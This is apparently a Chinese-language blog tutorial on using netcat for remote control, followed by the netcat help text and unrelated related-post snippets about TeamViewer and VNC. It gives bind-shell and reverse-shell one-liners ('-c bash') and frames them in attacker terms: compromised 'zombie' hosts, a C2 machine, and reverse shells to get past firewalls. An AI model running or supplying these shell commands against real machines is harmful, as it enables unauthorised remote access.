nc 遠端控制

2021-07-30 22:01:47 字數 1861 閱讀 5508

=== nc 做遠端控制 ===

原理實際上和之前的傳文字一樣,伺服器端起監聽,客戶端端去鏈結,之後監聽的伺服器端傳乙個自己的shell過去到客戶端

正向:偵聽方為肉雞,c2 訪問肉雞

server: nc -lp 333 -c bash

client: nc -nv 1.1.1.1 333

或者反向:偵聽方為c2,肉雞訪問c2

server :nc -lp 333

client : nc -nv 1.1.1.1 333 -c bash

-c shell command。也就是要使用的shell。windows下用cmd

注意,誰使用-c bash,誰就是肉雞。肉雞發 shell。反向的可以用來穿牆。因為是從肉雞,從內網,向外(攻擊者的c2電腦)發起訪問。

類似的原理可以用在其他協議的穿牆上。比如ftp的passive和active mode

root@kali:~/documents# nc -h

[v1.10-41]

connect to somewhere:    nc [-options] hostname port[s] [ports] ...

listen for inbound:    nc -l -p port [-options] [hostname] [port]

options:

-c shell commands    as `-e'; use /bin/sh to exec [dangerous!!]

-e filename        program to exec after connect [dangerous!!]

-b            allow broadcasts

-g gateway        source-routing hop point[s], up to 8

-g num            source-routing pointer: 4, 8, 12, ...

-h            this cruft

-i secs            delay interval for lines sent, ports scanned

-k                      set keepalive option on socket

-l            listen mode, for inbound connects

-n            numeric-only ip addresses, no dns

-o file            hex dump of traffic

-p port            local port number

-r            randomize local and remote ports

-q secs            quit after eof on stdin and delay of secs

-s addr            local source address

-t tos            set type of service

-t            answer telnet negotiation

-u            udp mode

-v            verbose [use twice to be more verbose]

-w secs            timeout for connects and final net reads

-c            send crlf as line-ending

-z            zero-i/o mode [used for scanning]

NC 遠端控制(加部分思路)

正向 主機a nc lp 333 c bash 主機b nc nv 192.168.31.113 333 注釋 主機a偵聽333埠 並將自己的shell 交給通過該埠連線的主機 反向 主機a nc lp 333 主機b nc nv 192.168.31.113 333 c bash 注釋 主機a偵聽...

TeamViewer 遠端控制

因為公司的電腦有加密系統,因此不好傳檔案,而且傳檔案也是亂碼的,因此想要在家裡也能工作,只能遠端登入公司的電腦進行工作了!因此下了個teamviewer。teamviewer是乙個遠端控制軟體,它最大的優點就是不需要控制和接受控制的任何一方擁有外網ip。而且還能進行傳檔案,還有會議室等強大的功能!3...

vnc遠端控制

root localhost yum y install tigervnc server設定配置檔案新增乙個可以使用的使用者,也可以新增多個。比如vncservers 1 root 這是新增乙個,vncservers 1 root 2 tom 這就是新增了root使用者和tom使用者我們這裡新增乙個...